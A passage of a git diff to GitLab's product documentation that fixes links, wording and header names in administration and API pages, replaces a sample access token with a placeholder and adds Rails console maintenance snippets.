+1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage).
Using separate buckets for each data type is the recommended approach for GitLab.
diff --git a/doc/administration/reference_architectures/index.md b/doc/administration/reference_architectures/index.md
index 4f7be2413dd..3964b8daeb7 100644
--- a/doc/administration/reference_architectures/index.md
+++ b/doc/administration/reference_architectures/index.md
@@ -32,7 +32,7 @@ per 1,000 users:
- Git: 2 RPS
For GitLab instances with less than 2,000 users, it's recommended that you use
-the [default setup](#automated-backups-core-only) by
+the [default setup](#automated-backups) by
[installing GitLab](../../install/README.md) on a single machine to minimize
maintenance and resource costs.
@@ -73,11 +73,11 @@ The following reference architectures are available:
GitLab comes with the following components for your use, listed from least to
most complex:
-- [Automated backups](#automated-backups-core-only)
-- [Traffic load balancer](#traffic-load-balancer-starter-only)
-- [Zero downtime updates](#zero-downtime-updates-starter-only)
-- [Automated database failover](#automated-database-failover-premium-only)
-- [Instance level replication with GitLab Geo](#instance-level-replication-with-gitlab-geo-premium-only)
+- [Automated backups](#automated-backups)
+- [Traffic load balancer](#traffic-load-balancer)
+- [Zero downtime updates](#zero-downtime-updates)
+- [Automated database failover](#automated-database-failover)
+- [Instance level replication with GitLab Geo](#instance-level-replication-with-gitlab-geo)
As you implement these components, begin with a single server and then do
backups. Only after completing the first server should you proceed to the next.
@@ -147,7 +147,7 @@ is recommended.
> - Required domain knowledge: Storage replication
> - Supported tiers: [GitLab Premium and Ultimate](https://about.gitlab.com/pricing/)
-[GitLab Geo](../geo/replication/index.md) allows you to replicate your GitLab
+[GitLab Geo](../geo/index.md) allows you to replicate your GitLab
instance to other geographical locations as a read-only fully operational instance
that can also be promoted in case of disaster.
diff --git a/doc/administration/server_hooks.md b/doc/administration/server_hooks.md
index ab808fc28d8..54b2cd43265 100644
--- a/doc/administration/server_hooks.md
+++ b/doc/administration/server_hooks.md
@@ -37,7 +37,7 @@ Note the following about server hooks:
- [GitLab CI/CD](../ci/README.md).
- [Push Rules](../push_rules/push_rules.md), for a user-configurable Git hook
interface. **(STARTER)**
-- Server hooks aren't replicated to [Geo](geo/replication/index.md) secondary nodes.
+- Server hooks aren't replicated to [Geo](geo/index.md) secondary nodes.
## Create a server hook for a repository
@@ -158,18 +158,18 @@ them as they can change.
## Transition to Go
-> Introduced in GitLab 13.2 using feature flags.
+> - Introduced in GitLab 13.2 using feature flags.
+> - In GitLab 13.4, `update` Ruby [implementation removed](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/2501).
+> - In GitLab 13.4, `post-receive` Go implementation [made default](https://gitlab.com/gitlab-org/gitaly/-/merge_requests/2502).
The following server hooks have been re-implemented in Go:
- `pre-receive`, with the Go implementation used by default. To use the Ruby implementation instead,
[disable](feature_flags.md#enable-or-disable-the-feature) the `:gitaly_go_preceive_hook` feature
flag.
-- `update`, with the Go implementation used by default. To use the Ruby implementation instead,
- [disable](feature_flags.md#enable-or-disable-the-feature) the `:gitaly_go_update_hook` feature
- flag.
-- `post-receive`, however the Ruby implementation is used by default. To use the Go implementation
- instead, [enable](feature_flags.md#enable-or-disable-the-feature) the
+- `update`, with Go implementation always used. No Ruby implementation is available.
+- `post-receive`, with the Go implementation used by default. To use the Ruby implementation
+ instead, [disable](feature_flags.md#enable-or-disable-the-feature) the
`:gitaly_go_postreceive_hook` feature flag.
## Custom error messages
diff --git a/doc/administration/troubleshooting/debug.md b/doc/administration/troubleshooting/debug.md
index 5daf34c1011..a1b4df9b94e 100644
--- a/doc/administration/troubleshooting/debug.md
+++ b/doc/administration/troubleshooting/debug.md
@@ -64,10 +64,10 @@ easy to copy and save for future reference, you can run:
puts Readline::HISTORY.to_a
```
-## Using the Rails Runner
+## Using the Rails runner
If you need to run some Ruby code in the context of your GitLab production
-environment, you can do so using the [Rails Runner](https://guides.rubyonrails.org/command_line.html#rails-runner). When executing a script file, the script must be accessible by the `git` user.
+environment, you can do so using the [Rails runner](https://guides.rubyonrails.org/command_line.html#rails-runner). When executing a script file, the script must be accessible by the `git` user.
**For Omnibus installations**
diff --git a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
index 22d699b424b..9a23a115765 100644
--- a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
+++ b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md
@@ -43,10 +43,13 @@ instance_of_object.method(:foo).source_location
project.method(:private?).source_location
```
-## Query an object
+## Query the database using an ActiveRecord Model
```ruby
-o = Object.where('attribute like ?', 'ex')
+m = Model.where('attribute like ?', 'ex%')
+
+# for example to query the projects
+projects = Project.where('path like ?', 'Oumua%')
```
## View all keys in cache
@@ -215,6 +218,17 @@ namespace = Namespace.find_by_full_path("")
::Projects::TransferService.new(p, current_user).execute(namespace)
```
+### For Removing webhooks that is getting timeout due to large webhook logs
+
+```ruby
+# ID will be the webhook_id
+WebHookLog.where(web_hook_id: ID).each_slice(ID) do |slice|
+ slice.each(&:destroy)
+end
+
+WebHook.find(ID).destroy
+```
+
### Bulk update service integration password for _all_ projects
For example, change the Jira user's password for all projects that have the Jira
@@ -242,6 +256,18 @@ p.each do |project|
end
```
+### Incorrect repository statistics shown in the GUI
+
+After [reducing a repository size with third-party tools](../../user/project/repository/reducing_the_repo_size_using_git.md)
+the displayed size may still show old sizes or commit numbers. To force an update, do:
+
+```ruby
+p = Project.find_by_full_path('<namespace>/<project>')
+pp p.statistics
+p.statistics.refresh!
+pp p.statistics # compare with earlier values
+```
+
## Wikis
### Recreate
diff --git a/doc/administration/troubleshooting/linux_cheat_sheet.md b/doc/administration/troubleshooting/linux_cheat_sheet.md
index 06c49d67f40..f24234e1aff 100644
--- a/doc/administration/troubleshooting/linux_cheat_sheet.md
+++ b/doc/administration/troubleshooting/linux_cheat_sheet.md
@@ -179,11 +179,13 @@ strace -tt -T -f -y -yy -s 1024 -p <pid>
ps auwx | grep unicorn | awk '{ print " -p " $2}' | xargs strace -tt -T -f -y -yy -s 1024 -o /tmp/unicorn.txt
```
-See the [strace zine](https://wizardzines.com/zines/strace/) for a quick walkthrough.
+Be aware that strace can have major impacts to system performance when it is running.
-Brendan Gregg has a more detailed explanation of [how to use strace](http://www.brendangregg.com/blog/2014-05-11/strace-wow-much-syscall.html).
+#### Strace Resources
-Be aware that strace can have major impacts to system performance when it is running.
+- See the [strace zine](https://wizardzines.com/zines/strace/) for a quick walkthrough.
+- Brendan Gregg has a more detailed explanation of [how to use strace](http://www.brendangregg.com/blog/2014-05-11/strace-wow-much-syscall.html).
+- We have a [series of GitLab Unfiltered videos](https://www.youtube.com/playlist?list=PL05JrBw4t0KoC7cIkoAFcRhr4gsVesekg) on using strace to understand GitLab.
### The Strace Parser tool
diff --git a/doc/administration/troubleshooting/postgresql.md b/doc/administration/troubleshooting/postgresql.md
index b7e33e4501d..91ff6f6524a 100644
--- a/doc/administration/troubleshooting/postgresql.md
+++ b/doc/administration/troubleshooting/postgresql.md
@@ -34,7 +34,7 @@ This section is for links to information elsewhere in the GitLab documentation.
- [More about external PostgreSQL](../postgresql/external.md)
-- [Running Geo with external PostgreSQL](../geo/replication/external_database.md)
+- [Running Geo with external PostgreSQL](../geo/setup/external_database.md)
- [Upgrades when running PostgreSQL configured for HA.](https://docs.gitlab.com/omnibus/settings/database.html#upgrading-a-gitlab-ha-cluster)
diff --git a/doc/administration/troubleshooting/sidekiq.md b/doc/administration/troubleshooting/sidekiq.md
index 9125ddf545f..404e806c5d9 100644
--- a/doc/administration/troubleshooting/sidekiq.md
+++ b/doc/administration/troubleshooting/sidekiq.md
@@ -212,12 +212,12 @@ the query details.
## Managing Sidekiq queues
It is possible to use [Sidekiq API](https://github.com/mperham/sidekiq/wiki/API)
-to perform a number of troubleshooting on Sidekiq.
+to perform a number of troubleshooting steps on Sidekiq.
These are the administrative commands and it should only be used if currently
admin interface is not suitable due to scale of installation.
-All this commands should be run using `gitlab-rails console`.
+All these commands should be run using `gitlab-rails console`.
### View the queue size
diff --git a/doc/administration/troubleshooting/tracing_correlation_id.md b/doc/administration/troubleshooting/tracing_correlation_id.md
index 31f537beae5..03c342595a3 100644
--- a/doc/administration/troubleshooting/tracing_correlation_id.md
+++ b/doc/administration/troubleshooting/tracing_correlation_id.md
@@ -21,7 +21,7 @@ You can find your correlation ID by searching in either place.
You can use your browser's developer tools to monitor and inspect network
activity with the site that you're visiting. See the links below for network monitoring
-documenation for some popular browsers.
+documentation for some popular browsers.
- [Network Monitor - Firefox Developer Tools](https://developer.mozilla.org/en-US/docs/Tools/Network_Monitor)
- [Inspect Network Activity In Chrome DevTools](https://developers.google.com/web/tools/chrome-devtools/network/)
@@ -38,7 +38,7 @@ value that was randomly generated by GitLab for the request.
See the following example:
-![Firefox's network monitor showing an request id header](img/network_monitor_xid.png)
+![Firefox's network monitor showing an request ID header](img/network_monitor_xid.png)
### Getting the correlation ID from your logs
diff --git a/doc/administration/uploads.md b/doc/administration/uploads.md
index d9902208e93..71a41719003 100644
--- a/doc/administration/uploads.md
+++ b/doc/administration/uploads.md
@@ -1,4 +1,4 @@
-# Uploads administration
+# Uploads administration **(CORE ONLY)**
Uploads represent all user data that may be sent to GitLab as a single file. As an example, avatars and notes' attachments are uploads. Uploads are integral to GitLab functionality, and therefore cannot be disabled.
@@ -108,7 +108,7 @@ _The uploads are stored by default in
```
1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate` Rake task](raketasks/uploads/migrate.md).
+1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate:all` Rake task](raketasks/uploads/migrate.md).
**In installations from source:**
@@ -131,7 +131,7 @@ _The uploads are stored by default in
```
1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect.
-1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate` Rake task](raketasks/uploads/migrate.md).
+1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate:all` Rake task](raketasks/uploads/migrate.md).
### OpenStack example
@@ -157,7 +157,7 @@ _The uploads are stored by default in
```
1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate` Rake task](raketasks/uploads/migrate.md).
+1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate:all` Rake task](raketasks/uploads/migrate.md).
---
@@ -188,4 +188,4 @@ _The uploads are stored by default in
```
1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
-1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate` Rake task](raketasks/uploads/migrate.md).
+1. Migrate any existing local uploads to the object storage using [`gitlab:uploads:migrate:all` Rake task](raketasks/uploads/migrate.md).
diff --git a/doc/analytics/README.md b/doc/analytics/README.md
index bfb15f6c4f3..c88f6b4c7cc 100644
--- a/doc/analytics/README.md
+++ b/doc/analytics/README.md
@@ -1,5 +1,5 @@
---
-redirect_to: '../user/group/index.md#user-contribution-analysis-starter'
+redirect_to: '../user/group/index.md#user-contribution-analysis'
---
-This document was moved to [another location](../user/group/index.md#user-contribution-analysis-starter)
+This document was moved to [another location](../user/group/index.md#user-contribution-analysis)
diff --git a/doc/api/README.md b/doc/api/README.md
index 82cce57f47b..53df4114a71 100644
--- a/doc/api/README.md
+++ b/doc/api/README.md
@@ -4,6 +4,8 @@ Automate GitLab via a simple and powerful API.
The main GitLab API is a [REST](https://en.wikipedia.org/wiki/Representational_state_transfer) API. Therefore, documentation in this section assumes knowledge of REST concepts.
+There is also a partial [OpenAPI definition](https://gitlab.com/gitlab-org/gitlab/blob/master/doc/api/openapi/openapi.yaml), which allows you to test the API directly from the GitLab user interface. Contributions are welcome.
+
## Available API resources
For a list of the available resources and their endpoints, see
@@ -121,7 +123,7 @@ Read more about [GitLab as an OAuth2 provider](oauth2.md).
### Personal/project access tokens
Access tokens can be used to authenticate with the API by passing it in either the `private_token` parameter
-or the `Private-Token` header.
+or the `PRIVATE-TOKEN` header.
Example of using the personal/project access token in a parameter:
@@ -132,7 +134,7 @@ curl "https://gitlab.example.com/api/v4/projects?private_token=<your_access_toke
Example of using the personal/project access token in a header:
```shell
-curl --header "Private-Token: <your_access_token>" "https://gitlab.example.com/api/v4/projects"
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects"
```
You can also use personal/project access tokens with OAuth-compliant headers:
@@ -176,7 +178,7 @@ For more information, refer to the
[users API](users.md#create-an-impersonation-token) docs.
Impersonation tokens are used exactly like regular personal access tokens, and can be passed in either the
-`private_token` parameter or the `Private-Token` header.
+`private_token` parameter or the `PRIVATE-TOKEN` header.
#### Disable impersonation
@@ -264,7 +266,7 @@ GET /projects?private_token=<your_access_token>&sudo=username
```
```shell
-curl --header "Private-Token: <your_access_token>" --header "Sudo: username" "https://gitlab.example.com/api/v4/projects"
+curl --header "PRIVATE-TOKEN: <your_access_token>" --header "Sudo: username" "https://gitlab.example.com/api/v4/projects"
```
Example of a valid API call and a request using cURL with sudo request,
@@ -275,7 +277,7 @@ GET /projects?private_token=<your_access_token>&sudo=23
```
```shell
-curl --header "Private-Token: <your_access_token>" --header "Sudo: 23" "https://gitlab.example.com/api/v4/projects"
+curl --header "PRIVATE-TOKEN: <your_access_token>" --header "Sudo: 23" "https://gitlab.example.com/api/v4/projects"
```
## Status codes
@@ -340,16 +342,19 @@ curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab
#### Pagination `Link` header
-[`Link` headers](https://www.w3.org/wiki/LinkHeader) are sent back with each
-response. They have `rel` set to `prev`/`next`/`first`/`last` and contain the relevant
-URL. Please use these links instead of generating your own URLs.
+[`Link` headers](https://www.w3.org/wiki/LinkHeader) are returned with each
+response. They have `rel` set to `prev`/`next`/`first`/`last` and contain the
+relevant URL. Be sure to use these links instead of generating your own URLs.
+
+NOTE: **Note:**
+For GitLab.com users, [some pagination headers may not be returned](../user/gitlab_com/index.md#pagination-response-headers).
In the cURL example below, we limit the output to 3 items per page (`per_page=3`)
and we request the second page (`page=2`) of [comments](notes.md) of the issue
-with ID `8` which belongs to the project with ID `8`:
+with ID `8` which belongs to the project with ID `9`:
```shell
-curl --head --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/8/issues/8/notes?per_page=3&page=2"
+curl --head --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/9/issues/8/notes?per_page=3&page=2"
```
The response will then be:
@@ -375,24 +380,19 @@ X-Total-Pages: 3
#### Other pagination headers
-Additional pagination headers are also sent back.
+GitLab also returns the following additional pagination headers:
-| Header | Description |
-| ------ | ----------- |
-| `X-Total` | The total number of items |
-| `X-Total-Pages` | The total number of pages |
-| `X-Per-Page` | The number of items per page |
+| Header | Description |
+| --------------- | --------------------------------------------- |
+| `X-Total` | The total number of items |
+| `X-Total-Pages` | The total number of pages |
+| `X-Per-Page` | The number of items per page |
| `X-Page` | The index of the current page (starting at 1) |
-| `X-Next-Page` | The index of the next page |
-| `X-Prev-Page` | The index of the previous page |
+| `X-Next-Page` | The index of the next page |
+| `X-Prev-Page` | The index of the previous page |
-CAUTION: **Caution:**
-For performance reasons since
-[GitLab 11.8](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/23931)
-and **behind the `api_kaminari_count_with_limit`
-[feature flag](../development/feature_flags/index.md)**, if the number of resources is
-more than 10,000, the `X-Total` and `X-Total-Pages` headers as well as the
-`rel="last"` `Link` are not present in the response headers.
+NOTE: **Note:**
+For GitLab.com users, [some pagination headers may not be returned](../user/gitlab_com/index.md#pagination-response-headers).
### Keyset-based pagination
@@ -639,7 +639,7 @@ follows:
## Unknown route
-When you try to access an API URL that does not exist you will receive 404 Not Found.
+When you try to access an API URL that does not exist, you will receive 404 Not Found.
```http
HTTP/1.1 404 Not Found
diff --git a/doc/api/admin_sidekiq_queues.md b/doc/api/admin_sidekiq_queues.md
index 5c841ae4076..4a2456d6f4a 100644
--- a/doc/api/admin_sidekiq_queues.md
+++ b/doc/api/admin_sidekiq_queues.md
@@ -1,4 +1,4 @@
-# Admin Sidekiq queues API
+# Sidekiq queues administration API **(CORE ONLY)**
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/25998) in GitLab 12.9
@@ -15,7 +15,7 @@ The response has three fields:
delete further jobs (including those added after the first request
was issued).
-This API endpoint is only available to admin users.
+This API endpoint is only available to administrators.
```plaintext
DELETE /admin/sidekiq/queues/:queue_name
diff --git a/doc/api/api_resources.md b/doc/api/api_resources.md
index 886f2e990f0..898aa713331 100644
--- a/doc/api/api_resources.md
+++ b/doc/api/api_resources.md
@@ -44,6 +44,7 @@ The following API resources are available in the project context:
| [Members](members.md) | `/projects/:id/members` (also available for groups) |
| [Merge request approvals](merge_request_approvals.md) **(STARTER)** | `/projects/:id/approvals`, `/projects/:id/merge_requests/.../approvals` |
| [Merge requests](merge_requests.md) | `/projects/:id/merge_requests` (also available for groups and standalone) |
+| [Merge trains](merge_trains.md) | `/projects/:id/merge_trains` |
| [Notes](notes.md) (comments) | `/projects/:id/issues/.../notes`, `/projects/:id/snippets/.../notes`, `/projects/:id/merge_requests/.../notes` (also available for groups) |
| [Notification settings](notification_settings.md) | `/projects/:id/notification_settings` (also available for groups and standalone) |
| [Packages](packages.md) | `/projects/:id/packages` |
@@ -115,7 +116,7 @@ The following API resources are available outside of project and group contexts
| Resource | Available endpoints |
|:---------------------------------------------------|:------------------------------------------------------------------------|
| [Instance-level CI/CD variables](instance_level_ci_variables.md) | `/admin/ci/variables` |
-| [Admin Sidekiq queues](admin_sidekiq_queues.md) | `/admin/sidekiq/queues/:queue_name` |
+| [Sidekiq queues administration](admin_sidekiq_queues.md) **(CORE ONLY)** | `/admin/sidekiq/queues/:queue_name` |
| [Appearance](appearance.md) **(CORE ONLY)** | `/application/appearance` |
| [Applications](applications.md) | `/applications` |
| [Audit Events](audit_events.md) **(PREMIUM ONLY)** | `/audit_events` |
@@ -147,10 +148,10 @@ The following API resources are available outside of project and group contexts
| [Search](search.md) | `/search` (also available for groups and projects) |
| [Settings](settings.md) **(CORE ONLY)** | `/application/settings` |
| [Statistics](statistics.md) | `/application/statistics` |
-| [Sidekiq metrics](sidekiq_metrics.md) | `/sidekiq` |
+| [Sidekiq metrics](sidekiq_metrics.md) **(CORE ONLY)** | `/sidekiq` |
| [Suggestions](suggestions.md) | `/suggestions` |
| [System hooks](system_hooks.md) | `/hooks` |
-| [Todos](todos.md) | `/todos` |
+| [To-dos](todos.md) | `/todos` |
| [Users](users.md) | `/users` |
| [Validate `.gitlab-ci.yml` file](lint.md) | `/lint` |
| [Version](version.md) | `/version` |
diff --git a/doc/api/audit_events.md b/doc/api/audit_events.md
index ce2a9afd53c..5f31919c52b 100644
--- a/doc/api/audit_events.md
+++ b/doc/api/audit_events.md
@@ -2,7 +2,7 @@
## Instance Audit Events **(PREMIUM ONLY)**
-The Audit Events API allows you to retrieve [instance audit events](../administration/audit_events.md#instance-events-premium-only).
+The Audit Events API allows you to retrieve [instance audit events](../administration/audit_events.md#instance-events).
To retrieve audit events using the API, you must [authenticate yourself](README.md#authentication) as an Administrator.
@@ -124,7 +124,7 @@ Example response:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34078) in GitLab 12.5.
-The Group Audit Events API allows you to retrieve [group audit events](../administration/audit_events.md#group-events-starter).
+The Group Audit Events API allows you to retrieve [group audit events](../administration/audit_events.md#group-events).
To retrieve group audit events using the API, you must [authenticate yourself](README.md#authentication) as an Administrator or an owner of the group.
@@ -230,7 +230,7 @@ Example response:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/219238) in GitLab 13.1.
-The Project Audit Events API allows you to retrieve [project audit events](../administration/audit_events.md#project-events-starter).
+The Project Audit Events API allows you to retrieve [project audit events](../administration/audit_events.md#project-events).
To retrieve project audit events using the API, you must [authenticate yourself](README.md#authentication) as a Maintainer or an Owner of the project.
diff --git a/doc/api/boards.md b/doc/api/boards.md
index a370205aa01..12ebbcf916a 100644
--- a/doc/api/boards.md
+++ b/doc/api/boards.md
@@ -455,7 +455,7 @@ POST /projects/:id/boards/:board_id/lists
NOTE: **Note:**
Label, assignee and milestone arguments are mutually exclusive,
that is, only one of them are accepted in a request.
-Check the [Issue Board docs](../user/project/issue_board.md#summary-of-features-per-tier)
+Check the [Issue Board docs](../user/project/issue_board.md)
for more information regarding the required license for each list type.
```shell
diff --git a/doc/api/deployments.md b/doc/api/deployments.md
index 426b3e10ecf..b0de972160b 100644
--- a/doc/api/deployments.md
+++ b/doc/api/deployments.md
@@ -15,15 +15,15 @@ Get a list of deployments in a project.
GET /projects/:id/deployments
```
-| Attribute | Type | Required | Description |
-|-----------|---------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
-| `order_by`| string | no | Return deployments ordered by `id` or `iid` or `created_at` or `updated_at` or `ref` fields. Default is `id` |
-| `sort` | string | no | Return deployments sorted in `asc` or `desc` order. Default is `asc` |
-| `updated_after` | datetime | no | Return deployments updated after the specified date |
-| `updated_before` | datetime | no | Return deployments updated before the specified date |
-| `environment` | string | no | The name of the environment to filter deployments by |
-| `status` | string | no | The status to filter deployments by |
+| Attribute | Type | Required | Description |
+|------------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `order_by` | string | no | Return deployments ordered by `id` or `iid` or `created_at` or `updated_at` or `ref` fields. Default is `id` |
+| `sort` | string | no | Return deployments sorted in `asc` or `desc` order. Default is `asc` |
+| `updated_after` | datetime | no | Return deployments updated after the specified date |
+| `updated_before` | datetime | no | Return deployments updated before the specified date |
+| `environment` | string | no | The [name of the environment](../ci/environments/index.md#defining-environments) to filter deployments by |
+| `status` | string | no | The status to filter deployments by |
The status attribute can be one of the following values:
@@ -278,14 +278,14 @@ Example of response
POST /projects/:id/deployments
```
-| Attribute | Type | Required | Description |
-|------------------|----------------|----------|---------------------|
-| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
-| `environment` | string | yes | The name of the environment to create the deployment for |
-| `sha` | string | yes | The SHA of the commit that is deployed |
-| `ref` | string | yes | The name of the branch or tag that is deployed |
-| `tag` | boolean | yes | A boolean that indicates if the deployed ref is a tag (true) or not (false) |
-| `status` | string | yes | The status of the deployment |
+| Attribute | Type | Required | Description |
+|---------------|----------------|----------|-----------------------------------------------------------------------------------------------------------------|
+| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user |
+| `environment` | string | yes | The [name of the environment](../ci/environments/index.md#defining-environments) to create the deployment for |
+| `sha` | string | yes | The SHA of the commit that is deployed |
+| `ref` | string | yes | The name of the branch or tag that is deployed |
+| `tag` | boolean | yes | A boolean that indicates if the deployed ref is a tag (true) or not (false) |
+| `status` | string | yes | The status of the deployment |
The status can be one of the following values:
diff --git a/doc/api/epic_links.md b/doc/api/epic_links.md
index a2477123ce4..19c8dc78aed 100644
--- a/doc/api/epic_links.md
+++ b/doc/api/epic_links.md
@@ -2,7 +2,7 @@
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/9188) in GitLab 11.8.
-Manages parent-child [epic relationships](../user/group/epics/index.md#multi-level-child-epics-ultimate).
+Manages parent-child [epic relationships](../user/group/epics/index.md#multi-level-child-epics).
Every API call to `epic_links` must be authenticated.
@@ -131,6 +131,7 @@ POST /groups/:id/epics/:epic_iid/epics
| `id` | integer/string | yes | The ID or [URL-encoded path of the group](README.md#namespaced-path-encoding) owned by the authenticated user |
| `epic_iid` | integer | yes | The internal ID of the (future parent) epic. |
| `title` | string | yes | The title of a newly created epic. |
+| `confidential` | boolean | no | Whether the epic should be confidential. Will be ignored if `confidential_epics` feature flag is disabled. Defaults to the confidentiality state of the parent epic. |
```shell
curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/epics/5/epics?title=Newpic"
diff --git a/doc/api/epics.md b/doc/api/epics.md
index 45bf406dec2..91ea92c8589 100644
--- a/doc/api/epics.md
+++ b/doc/api/epics.md
@@ -266,7 +266,7 @@ POST /groups/:id/epics
| `title` | string | yes | The title of the epic |
| `labels` | string | no | The comma separated list of labels |
| `description` | string | no | The description of the epic. Limited to 1,048,576 characters. |
-| `confidential` | boolean | no | Whether the epic should be confidential. Will be ignored if `confidential_epics` feature flag is disabled. |
+| `confidential` | boolean | no | Whether the epic should be confidential |
| `start_date_is_fixed` | boolean | no | Whether start date should be sourced from `start_date_fixed` or from milestones (since 11.3) |
| `start_date_fixed` | string | no | The fixed start date of an epic (since 11.3) |
| `due_date_is_fixed` | boolean | no | Whether due date should be sourced from `due_date_fixed` or from milestones (since 11.3) |
@@ -347,7 +347,7 @@ PUT /groups/:id/epics/:epic_iid
| `epic_iid` | integer/string | yes | The internal ID of the epic |
| `title` | string | no | The title of an epic |
| `description` | string | no | The description of an epic. Limited to 1,048,576 characters. |
-| `confidential` | boolean | no | Whether the epic should be confidential. Will be ignored if `confidential_epics` feature flag is disabled. |
+| `confidential` | boolean | no | Whether the epic should be confidential |
| `labels` | string | no | The comma separated list of labels |
| `start_date_is_fixed` | boolean | no | Whether start date should be sourced from `start_date_fixed` or from milestones (since 11.3) |
| `start_date_fixed` | string | no | The fixed start date of an epic (since 11.3) |
@@ -422,10 +422,10 @@ DELETE /groups/:id/epics/:epic_iid
curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/1/epics/5"
```
-## Create a todo
+## Create a to-do
-Manually creates a todo for the current user on an epic. If
-there already exists a todo for the user on that epic, status code `304` is
+Manually creates a to-do for the current user on an epic. If
+there already exists a to-do for the user on that epic, status code `304` is
returned.
```plaintext
diff --git a/doc/api/feature_flags.md b/doc/api/feature_flags.md
index 479f82914a9..1088154b599 100644
--- a/doc/api/feature_flags.md
+++ b/doc/api/feature_flags.md
@@ -212,11 +212,11 @@ PUT /projects/:id/feature_flags/:feature_flag_name
| `active` | boolean | no | The active state of the flag. [Supported](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38350) in GitLab 13.3 and later. |
| `name` | string | no | The new name of the feature flag. [Supported](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/38350) in GitLab 13.3 and later. |
| `strategies` | JSON | no | The feature flag [strategies](../operations/feature_flags.md#feature-flag-strategies). |
-| `strategies:id` | JSON | no | The feature flag strategy id. |
+| `strategies:id` | JSON | no | The feature flag strategy ID. |
| `strategies:name` | JSON | no | The strategy name. |
| `strategies:parameters` | JSON | no | The strategy parameters. |
| `strategies:scopes` | JSON | no | The scopes for the strategy. |
-| `strategies:scopes:id` | JSON | no | The scopes id. |
+| `strategies:scopes:id` | JSON | no | The scopes ID. |
| `strategies:scopes:environment_scope` | string | no | The environment spec for the scope. |
```shell
diff --git a/doc/api/freeze_periods.md b/doc/api/freeze_periods.md
index e6a5e69497f..7a2f88e9f00 100644
--- a/doc/api/freeze_periods.md
+++ b/doc/api/freeze_periods.md
@@ -31,7 +31,7 @@ GET /projects/:id/freeze_periods
Example request:
```shell
-curl --header "PRIVATE-TOKEN: gVWYVHDRzXiRpN1rUC8T" "https://gitlab.example.com/api/v4/projects/19/freeze_periods"
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/19/freeze_periods"
```
Example response:
@@ -65,7 +65,7 @@ GET /projects/:id/freeze_periods/:freeze_period_id
Example request:
```shell
-curl --header "PRIVATE-TOKEN: gVWYVHDRzXiRpN1rUC8T" "https://gitlab.example.com/api/v4/projects/19/freeze_periods/1"
+curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/19/freeze_periods/1"
```
Example response:
@@ -99,7 +99,7 @@ POST /projects/:id/freeze_periods
Example request:
```shell
-curl --header 'Content-Type: application/json' --header "PRIVATE-TOKEN: gVWYVHDRzXiRpN1rUC8T" \
+curl --header 'Content-Type: application/json' --header "PRIVATE-TOKEN: <your_access_token>" \
--data '{ "freeze_start": "0 23 * * 5", "freeze_end": "0 7 * * 1", "cron_timezone": "UTC" }' \
--request POST https://gitlab.example.com/api/v4/projects/19/freeze_periods
```
@@ -136,7 +136,7 @@ PUT /projects/:id/freeze_periods/:tag_name
Example request:
```shell
-curl --header 'Content-Type: application/json' --header "PRIVATE-TOKEN: gVWYVHDRzXiRpN1rUC8T" \
+curl --header 'Content-Type: application/json' --header "PRIVATE-TOKEN: <your_access_token>" \
--data '{ "freeze_end": "0 8 * * 1" }' \
--request PUT https://gitlab.example.com/api/v4/projects/19/freeze_periods/1
```
@@ -170,6 +170,6 @@ DELETE /projects/:id/freeze_periods/:freeze_period_id
Example request:
```shell
-curl --request DELETE --header "PRIVATE-TOKEN: gVWYVHDRzXiRpN1rUC8T" "https://gitlab.example.com/api/v4/projects/19/freeze_periods/1"
+curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/19/freeze_periods/1"
```
diff --git a/doc/api/geo_nodes.md b/doc/api/geo_nodes.md
index ba970d2cdb1..8d2052f7373 100644
--- a/doc/api/geo_nodes.md
+++ b/doc/api/geo_nodes.md
@@ -371,7 +371,13 @@ Example response:
"package_files_checksum_failed_count": 0,
"package_files_registry_count": 10,
"package_files_synced_count": 6,
- "package_files_failed_count": 3
+ "package_files_failed_count": 3,
